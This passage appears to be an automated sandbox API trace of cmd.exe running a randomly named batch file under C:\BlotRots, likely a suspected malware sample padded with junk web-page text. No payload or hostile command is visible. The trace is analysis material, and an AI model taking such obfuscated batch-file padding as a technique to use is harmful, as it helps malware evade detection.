0x20b0f920000 [0162.140] RtlFreeHeap (HeapHandle=0x20b0f920000, Flags=0x0, BaseAddress=0x20b0f92ca50) returned 1 [0162.141] _get_osfhandle (_FileHandle=3) returned 0x94 [0162.141] SetFilePointer (in: hFile=0x94, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x28f [0162.141] ReadFile (in: hFile=0x94, lpBuffer=0x7ff6e2e69970, nNumberOfBytesToRead=0x1fff, lpNumberOfBytesRead=0x9cb92fed90, lpOverlapped=0x0 | out: lpBuffer=0x7ff6e2e69970*, lpNumberOfBytesRead=0x9cb92fed90*=0x1526, lpOverlapped=0x0) returned 1 [0162.141] SetFilePointer (in: hFile=0x94, lDistanceToMove=664, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x298 [0162.141] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff6e2e69970, cbMultiByte=9, lpWideCharStr=0x7ff6e2e73c30, cchWideChar=8191 | out: lpWideCharStr=" \r\nis listed separately on this page. Synta \r\nSyntax in Windows Vista, 7, ...3 \r\nta, 7, ...\r\n \r\n") returned 9 [0162.141] _get_osfhandle (_FileHandle=3) returned 0x94 [0162.141] GetFileType (hFile=0x94) returned 0x1 [0162.141] _get_osfhandle (_FileHandle=3) returned 0x94 [0162.141] SetFilePointer (in: hFile=0x94, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x298 [0162.141] GetProcessHeap () returned 0x20b0f920000 [0162.141] RtlAllocateHeap (HeapHandle=0x20b0f920000, Flags=0x8, Size=0x4012) returned 0x20b0f946e70 [0162.142] GetProcessHeap () returned 0x20b0f920000 [0162.142] RtlFreeHeap (HeapHandle=0x20b0f920000, Flags=0x0, BaseAddress=0x20b0f946e70) returned 1 [0162.142] _tell (_FileHandle=3) returned 664 [0162.142] _close (_FileHandle=3) returned 0 [0162.143] CreateFileW (lpFileName="C:\\BlotRots\\djsfgytdftftyYFGfghffghYYTTT.cmd" (normalized: "c:\\blotrots\\djsfgytdftftyyfgfghffghyyttt.cmd"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x9cb92fedd8, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x94 [0162.143] _open_osfhandle (_OSFileHandle=0x94, _Flags=8) returned 3 [0162.143] _get_osfhandle (_FileHandle=3) returned 0x94 [0162.143] SetFilePointer (in: hFile=0x94, lDistanceToMove=664, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x298 [0162.143] _get_osfhandle (_FileHandle=3) returned 0x94 [0162.143] SetFilePointer (in: hFile=0x94, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x298 [0162.143] ReadFile (in: hFile=0x94, lpBuffer=0x7ff6e2e69970, nNumberOfBytesToRead=0x1fff, lpNumberOfBytesRead=0x9cb92fed90, lpOverlapped=0x0 | out: lpBuffer=0x7ff6e2e69970*, lpNumberOfBytesRead=0x9cb92fed90*=0x151d, lpOverlapped=0x0) returned 1 [0162.143] SetFilePointer (in: hFile=0x94, lDistanceToMove=673, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x2a1 [0162.143] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff6e2e69970, cbMultiByte=9, lpWideCharStr=0x7ff6e2e73c30, cchWideChar=8191 | out: lpWideCharStr=" \r\nis listed separately on this page. Synta \r\nSyntax in Windows Vista, 7, ...3 \r\nta, 7, ...\r\n \r\n") returned 9 [0162.143] _get_osfhandle (_FileHandle=3) returned 0x94 [0162.143] GetFileType (hFile=0x94) returned 0x1 [0162.143] _get_osfhandle (_FileHandle=3) returned 0x94 [0162.143] SetFilePointer (in: hFile=0x94, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x2a1 [0162.143] GetProcessHeap () returned 0x20b0f920000 [0162.143] RtlAllocateHeap (HeapHandle=0x20b0f920000, Flags=0x8, Size=0x4012) returned 0x20b0f946e70 [0162.144] GetProcessHeap () returned 0x20b0f920000 [0162.144] RtlFreeHeap (HeapHandle=0x20b0f920000, Flags=0x0, BaseAddress=0x20b0f946e70) returned 1 [0162.144] _tell (_FileHandle=3) returned 673 [0162.144] _close (_FileHandle=3) returned 0 [0162.144] CreateFileW (lpFileName="C:\\BlotRots\\djsfgytdftftyYFGfghffghYYTTT.cmd" (normalized: "c:\\blotrots\\djsfgytdftftyyfgfghffghyyttt.cmd"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x9cb92fedd8, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x94 [0162.144] _open_osfhandle (_OSFileHandle=0x94, _Flags=8) returned 3 [0162.144] _get_osfhandle (_FileHandle=3) returned 0x94 [0162.144] SetFilePointer (in: hFile=0x94, lDistanceToMove=673, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x2a1 [0162.145] _get_osfhandle (_FileHandle=3) returned 0x94 [0162.145] SetFilePointer (in: hFile=0x94, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x2a1 [0162.145] ReadFile (in: hFile=0x94, lpBuffer=0x7ff6e2e69970, nNumberOfBytesToRead=0x1fff, lpNumberOfBytesRead=0x9cb92fed90, lpOverlapped=0x0 | out: lpBuffer=0x7ff6e2e69970*, lpNumberOfBytesRead=0x9cb92fed90*=0x1514, lpOverlapped=0x0) returned 1 [0162.145] SetFilePointer (in: hFile=0x94, lDistanceToMove=759, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x2f7 [0162.145] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff6e2e69970, cbMultiByte=86, lpWideCharStr=0x7ff6e2e73c30, cchWideChar=8191 | out: lpWideCharStr=" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...3\r\n.3 \r\nta, 7, ...\r\n \r\n") returned 86 [0162.145] _get_osfhandle (_FileHandle=3) returned 0x94 [0162.145] GetFileType (hFile=0x94) returned 0x1 [0162.145] _get_osfhandle (_FileHandle=3) returned 0x94 [0162.145] SetFilePointer (in: hFile=0x94, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x2f7 [0162.145] GetProcessHeap () returned 0x20b0f920000 [0162.145] RtlAllocateHeap (HeapHandle=0x20b0f920000, Flags=0x8, Size=0x4012) returned 0x20b0f946e70 [0162.146] GetProcessHeap () returned 0x20b0f920000 [0162.146] RtlFreeHeap (HeapHandle=0x20b0f920000, Flags=0x0, BaseAddress=0x20b0f946e70) returned 1 [0162.146] _wcsicmp (_String1="Windows", _String2=")") returned 78 [0162.146] _wcsicmp (_String1="FOR", _String2="Windows") returned -17 [0162.146] _wcsicmp (_String1="FOR/?", _String2="Windows") returned -17 [0162.146] _wcsicmp (_String1="IF", _String2="Windows") returned -14 [0162.146] _wcsicmp (_String1="IF/?", _String2="Windows") returned -14 [0162.146] _wcsicmp (_String1="REM", _String2="Windows") returned -5 [0162.146] _wcsicmp (_String1="REM/?", _String2="Windows") returned -5 [0162.146] GetProcessHeap () returned 0x20b0f920000 [0162.146] RtlAllocateHeap (HeapHandle=0x20b0f920000, Flags=0x8, Size=0xb0) returned 0x20b0f92ca50 [0162.146] GetProcessHeap () returned 0x20b0f920000 [0162.146] RtlAllocateHeap (HeapHandle=0x20b0f920000, Flags=0x8, Size=0x20) returned 0x20b0f928040 [0162.146] GetProcessHeap () returned 0x20b0f920000 [0162.146] RtlAllocateHeap (HeapHandle=0x20b0f920000, Flags=0x8, Size=0xa8) returned 0x20b0f92cb10 [0162.146] _tell (_FileHandle=3) returned 759 [0162.147] _close (_FileHandle=3) returned 0 [0162.147] _vsnwprintf (in: _Buffer=0x7ff6e2e77f60, _BufferCount=0x1fff, _Format="\r\n", _ArgList=0x9cb92feb68 | out: _Buffer="\r\n") returned 2 [0162.147] _get_osfhandle (_FileHandle=1) returned 0x50 [0162.147] GetFileType (hFile=0x50) returned 0x2 [0162.147] GetStdHandle (nStdHandle=0xfffffff5) returned 0x50 [0162.147] GetConsoleMode (in: hConsoleHandle=0x50, lpMode=0x9cb92feaf8 | out: lpMode=0x9cb92feaf8) returned 1 [0162.148] _get_osfhandle (_FileHandle=1) returned 0x50 [0162.148] WriteConsoleW (in: hConsoleOutput=0x50, lpBuffer=0x7ff6e2e77f60*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x9cb92feb38, lpReserved=0x0 | out: lpBuffer=0x7ff6e2e77f60*, lpNumberOfCharsWritten=0x9cb92feb38*=0x2) returned 1 [0162.153] GetCurrentDirectoryW (in: nBufferLength=0x7fe7, lpBuffer=0x20b0fa20080 | out: lpBuffer="C:\\WINDOWS\\system32") returned 0x13 [0162.153] _vsnwprintf (in: _Buffer=0x20b0fa50160, _BufferCount=0x83e5, _Format="%s", _ArgList=0x9cb92feb78 | out: _Buffer="C:\\WINDOWS\\system32") returned 19 [0162.154] _vsnwprintf (in: _Buffer=0x20b0fa50186, _BufferCount=0x83d2, _Format="%c", _ArgList=0x9cb92feb78 | out: _Buffer=">") returned 1 [0162.154] _get_osfhandle (_FileHandle=1) returned 0x50 [0162.154] GetFileType (hFile=0x50) returned 0x2 [0162.154] GetStdHandle (nStdHandle=0xfffffff5) returned 0x50 [0162.154] GetConsoleMode (in: hConsoleHandle=0x50, lpMode=0x9cb92feb28 | out: lpMode=0x9cb92feb28) returned 1 [0162.154] _get_osfhandle (_FileHandle=1) returned 0x50 [0162.154] WriteConsoleW (in: hConsoleOutput=0x50, lpBuffer=0x20b0fa50160*, nNumberOfCharsToWrite=0x14, lpNumberOfCharsWritten=0x9cb92feb68, lpReserved=0x0 | out: lpBuffer=0x20b0fa50160*, lpNumberOfCharsWritten=0x9cb92feb68*=0x14) returned 1 [0162.154] _get_osfhandle (_FileHandle=1) returned 0x50 [0162.155] GetFileType (hFile=0x50) returned 0x2 [0162.155] GetStdHandle (nStdHandle=0xfffffff5) returned 0x50 [0162.155] GetConsoleMode (in: hConsoleHandle=0x50, lpMode=0x9cb92fedf8 | out: lpMode=0x9cb92fedf8) returned 1 [0162.155] _get_osfhandle (_FileHandle=1) returned 0x50 [0162.155] WriteConsoleW (in: hConsoleOutput=0x50, lpBuffer=0x20b0f928050*, nNumberOfCharsToWrite=0x7, lpNumberOfCharsWritten=0x9cb92fee38, lpReserved=0x0 | out: lpBuffer=0x20b0f928050*, lpNumberOfCharsWritten=0x9cb92fee38*=0x7) returned 1 [0162.155] _vsnwprintf (in: _Buffer=0x7ff6e2e77f60, _BufferCount=0x1fff, _Format="%s ", _ArgList=0x9cb92fee38 | out: _Buffer=" XP and is listed separately on this page. Syntax in Windows Vista, 7, ...3 ") returned 76 [0162.155] _get_osfhandle (_FileHandle=1) returned 0x50 [0162.155] GetFileType (hFile=0x50) returned 0x2 [0162.155] GetStdHandle (nStdHandle=0xfffffff5) returned 0x50 [0162.155] GetConsoleMode (in: hConsoleHandle=0x50, lpMode=0x9cb92fedc8 | out: lpMode=0x9cb92fedc8) returned 1 [0162.156] _get_osfhandle (_FileHandle=1) returned 0x50 [0162.156] WriteConsoleW (in: hConsoleOutput=0x50, lpBuffer=0x7ff6e2e77f60*, nNumberOfCharsToWrite=0x4c, lpNumberOfCharsWritten=0x9cb92fee08, lpReserved=0x0 | out: lpBuffer=0x7ff6e2e77f60*, lpNumberOfCharsWritten=0x9cb92fee08*=0x4c) returned 1 [0162.156] _vsnwprintf (in: _Buffer=0x7ff6e2e77f60, _BufferCount=0x1fff, _Format="\r\n", _ArgList=0x9cb92fee68 | out: _Buffer="\r\n") returned 2 [0162.156] _get_osfhandle (_FileHandle=1) returned 0x50 [0162.156] GetFileType (hFile=0x50) returned 0x2 [0162.156] GetStdHandle (nStdHandle=0xfffffff5) returned 0x50 [0162.156] GetConsoleMode (in: hConsoleHandle=0x50, lpMode=0x9cb92fedf8 | out: lpMode=0x9cb92fedf8) returned 1 [0162.157] _get_osfhandle (_FileHandle=1) returned 0x50 [0162.157] WriteConsoleW (in: hConsoleOutput=0x50, lpBuffer=0x7ff6e2e77f60*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x9cb92fee38, lpReserved=0x0 | out: lpBuffer=0x7ff6e2e77f60*, lpNumberOfCharsWritten=0x9cb92fee38*=0x2) returned 1 [0162.163] malloc (_Size=0xffce) returned 0x20b0fa60940 [0162.164] ??_V@YAXPEAX@Z () returned 0x20b0fa60940 [0162.165] _wcsicmp (_String1="Windows", _String2="DIR") returned 19 [0162.165] _wcsicmp (_String1="Windows", _String2="ERASE") returned 18 [0162.165] _wcsicmp (_String1="Windows", _String2="DEL") returned 19 [0162.165] _wcsicmp (_String1="Windows", _String2="TYPE") returned 3 [0162.165] _wcsicmp (_String1="Windows", _String2="COPY") returned 20 [0162.165] _wcsicmp (_String1="Windows", _String2="CD") returned 20 [0162.165] _wcsicmp (_String1="Windows", _String2="CHDIR") returned 20 [0162.165] _wcsicmp (_String1="Windows", _String2="RENAME") returned 5 [0162.165] _wcsicmp (_String1="Windows", _String2="REN") returned 5 [0162.165] _wcsicmp (_String1="Windows", _String2="ECHO") returned 18 [0162.165] _wcsicmp (_String1="Windows", _String2="SET") returned 4 [0162.165] _wcsicmp (_String1="Windows", _String2="PAUSE") returned 7 [0162.165] _wcsicmp (_String1="Windows", _String2="DATE") returned 19 [0162.165] _wcsicmp (_String1="Windows", _String2="TIME") returned 3 [0162.165] _wcsicmp (_String1="Windows", _String2="PROMPT") returned 7 [0162.165] _wcsicmp (_String1="Windows", _String2="MD") returned 10 [0162.165] _wcsicmp (_String1="Windows", _String2="MKDIR") returned 10 [0162.165] _wcsicmp (_String1="Windows", _String2="RD") returned 5 [0162.165] _wcsicmp (_String1="Windows", _String2="RMDIR") returned 5 [0162.165] _wcsicmp (_String1="Windows", _String2="PATH") returned 7 [0162.165] _wcsicmp (_String1="Windows", _String2="GOTO") returned 16 [0162.165] _wcsicmp (_String1="Windows", _String2="SHIFT") returned 4 [0162.165] _wcsicmp (_String1="Windows", _String2="CLS") returned 20 [0162.165] _wcsicmp (_String1="Windows", _String2="CALL") returned 20 [0162.166] _wcsicmp (_String1="Windows", _String2="VERIFY") returned 1 [0162.166] _wcsicmp (_String1="Windows", _String2="VER") returned 1 [0162.166] _wcsicmp (_String1="Windows", _String2="VOL") returned 1 [0162.166] _wcsicmp (_String1="Windows", _String2="EXIT") returned 18 [0162.166] _wcsicmp (_String1="Windows", _String2="SETLOCAL") returned 4 [0162.166] _wcsicmp (_String1="Windows", _String2="ENDLOCAL") returned 18 [0162.166] _wcsicmp (_String1="Windows", _String2="TITLE") returned 3 [0162.166] _wcsicmp (_String1="Windows", _String2="START") returned 4 [0162.166] _wcsicmp (_String1="Windows", _String2="DPATH") returned 19 [0162.166] _wcsicmp (_String1="Windows", _String2="KEYS") returned 12 [0162.166] _wcsicmp (_String1="Windows", _String2="MOVE") returned 10 [0162.166] _wcsicmp (_String1="Windows", _String2="PUSHD") returned 7 [0162.166] _wcsicmp (_String1="Windows", _String2="POPD") returned 7 [0162.166] _wcsicmp (_String1="Windows", _String2="ASSOC") returned 22 [0162.166] _wcsicmp (_String1="Windows", _String2="FTYPE") returned 17 [0162.166] _wcsicmp (_String1="Windows", _String2="BREAK") returned 21 [0162.166] _wcsicmp (_String1="Windows", _String2="COLOR") returned 20 [0162.166] _wcsicmp (_String1="Windows", _String2="MKLINK") returned 10 [0162.166] _wcsnicmp (_String1="Wind", _String2="cmd ", _MaxCount=0x4) returned 20 [0162.166] malloc (_Size=0xffce) returned 0x20b0fa70920 [0162.166] ??_V@YAXPEAX@Z () returned 0x20b0fa70920 [0162.167] GetProcessHeap () returned 0x20b0f920000 [0162.167] RtlAllocateHeap (HeapHandle=0x20b0f920000, Flags=0x8, Size=0x1ffac) returned 0x20b0f957f90 [0162.170] SetErrorMode (uMode=0x0) returned 0x0 [0162.170] SetErrorMode (uMode=0x1) returned 0x0 [0162.170] GetFullPathNameW (in: lpFileName=".", nBufferLength=0xffce, lpBuffer=0x20b0f957fa0, lpFilePart=0x9cb92feba0 | out: lpBuffer="C:\\WINDOWS\\system32", lpFilePart=0x9cb92feba0*="system32") returned 0x13 [0162.170] SetErrorMode (uMode=0x0) returned 0x1 [0162.170] GetProcessHeap () returned 0x20b0f920000 [0162.170] RtlReAllocateHeap (Heap=0x20b0f920000, Flags=0x0, Ptr=0x20b0f957f90, Size=0x48) returned 0x20b0f957f90 [0162.170] GetProcessHeap () returned 0x20b0f920000 [0162.170] RtlSizeHeap (HeapHandle=0x20b0f920000, Flags=0x0, MemoryPointer=0x20b0f957f90) returned 0x48 [0162.170] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x7ff6e2e6bb90, nSize=0x2000 | out: lpBuffer="C:\\ProgramData\\Oracle\\Java\\javapath;C:\\WINDOWS\\system32;C:\\WINDOWS;C:\\WINDOWS\\System32\\Wbem;C:\\WINDOWS\\System32\\WindowsPowerShell\\v1.0\\;C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\WindowsApps") returned 0xbb [0162.170] NeedCurrentDirectoryForExePathW (ExeName=".") returned 1 [0162.170] GetProcessHeap () returned 0x20b0f920000 [0162.170] RtlAllocateHeap (HeapHandle=0x20b0f920000, Flags=0x8, Size=0x1b4) returned 0x20b0f92d430 [0162.170] GetProcessHeap () returned 0x20b0f920000 [0162.170] RtlAllocateHeap (HeapHandle=0x20b0f920000, Flags=0x8, Size=0x358) returned 0x20b0f92e0d0 [0162.171] GetProcessHeap () returned 0x20b0f920000 [0162.171] RtlReAllocateHeap (Heap=0x20b0f920000, Flags=0x0, Ptr=0x20b0f92e0d0, Size=0x1b6) returned 0x20b0f92e0d0 [0162.171] GetProcessHeap () returned 0x20b0f920000 [0162.171] RtlSizeHeap (HeapHandle=0x20b0f920000, Flags=0x0, MemoryPointer=0x20b0f92e0d0) returned 0x1b6 [0162.171] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x7ff6e2e6bb90, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35 [0162.171] GetProcessHeap () returned 0x20b0f920000 [0162.171] RtlAllocateHeap (HeapHandle=0x20b0f920000, Flags=0x8, Size=0xe8) returned 0x20b0f92d5f0 [0162.171] GetProcessHeap () returned 0x20b0f920000 [0162.171] RtlReAllocateHeap (Heap=0x20b0f920000, Flags=0x0, Ptr=0x20b0f92d5f0, Size=0x7e) returned 0x20b0f92d5f0 [0162.171] GetProcessHeap () returned 0x20b0f920000 [0162.171] RtlSizeHeap (HeapHandle=0x20b0f920000, Flags=0x0, MemoryPointer=0x20b0f92d5f0) returned 0x7e [0162.171] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0162.171] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.*", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0x20b0f92d090 [0162.171] FindClose (in: hFindFile=0x20b0f92d090 | out: hFindFile=0x20b0f92d090) returned 1 [0162.171] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.COM", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0162.172] GetLastError () returned 0x2 [0162.172] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.EXE", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0162.172] GetLastError () returned 0x2 [0162.172] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.BAT", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0162.172] GetLastError () returned 0x2 [0162.172] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.CMD", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0162.172] GetLastError () returned 0x2 [0162.173] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.VBS", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0162.173] GetLastError () returned 0x2 [0162.173] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.VBE", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0162.173] GetLastError () returned 0x2 [0162.173] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.JS", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0162.174] GetLastError () returned 0x2 [0162.174] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.JSE", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0162.174] GetLastError () returned 0x2 [0162.174] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.WSF", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0162.174] GetLastError () returned 0x2 [0162.174] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.WSH", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0162.174] GetLastError () returned 0x2 [0162.174] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.MSC", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0162.175] GetLastError () returned 0x2 [0162.175] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0162.175] FindFirstFileExW (in: lpFileName="C:\\ProgramData\\Oracle\\Java\\javapath\\Windows.*", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0162.175] GetLastError () returned 0x2 [0162.175] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0162.175] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.*", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0x20b0f92d270 [0162.175] FindClose (in: hFindFile=0x20b0f92d270 | out: hFindFile=0x20b0f92d270) returned 1 [0162.176] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.COM", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0162.176] GetLastError () returned 0x2 [0162.176] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.EXE", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0162.176] GetLastError () returned 0x2 [0162.176] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.BAT", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0162.176] GetLastError () returned 0x2 [0162.176] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.CMD", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0162.176] GetLastError () returned 0x2 [0162.176] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.VBS", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0162.176] GetLastError () returned 0x2 [0162.177] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.VBE", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0162.177] GetLastError () returned 0x2 [0162.177] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.JS", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0162.177] GetLastError () returned 0x2 [0162.177] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.JSE", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0162.177] GetLastError () returned 0x2 [0162.177] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.WSF", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0162.177] GetLastError () returned 0x2 [0162.177] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.WSH", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0162.177] GetLastError () returned 0x2 [0162.177] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.MSC", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0162.178] GetLastError () returned 0x2 [0162.178] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0162.178] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\Windows.*", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0162.178] GetLastError () returned 0x2 [0162.178] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0162.178] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\System32\\Wbem\\Windows.*", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0162.178] GetLastError () returned 0x2 [0162.178] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0162.178] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\System32\\WindowsPowerShell\\v1.0\\Windows.*", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0162.178] GetLastError () returned 0x2 [0162.178] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0162.179] FindFirstFileExW (in: 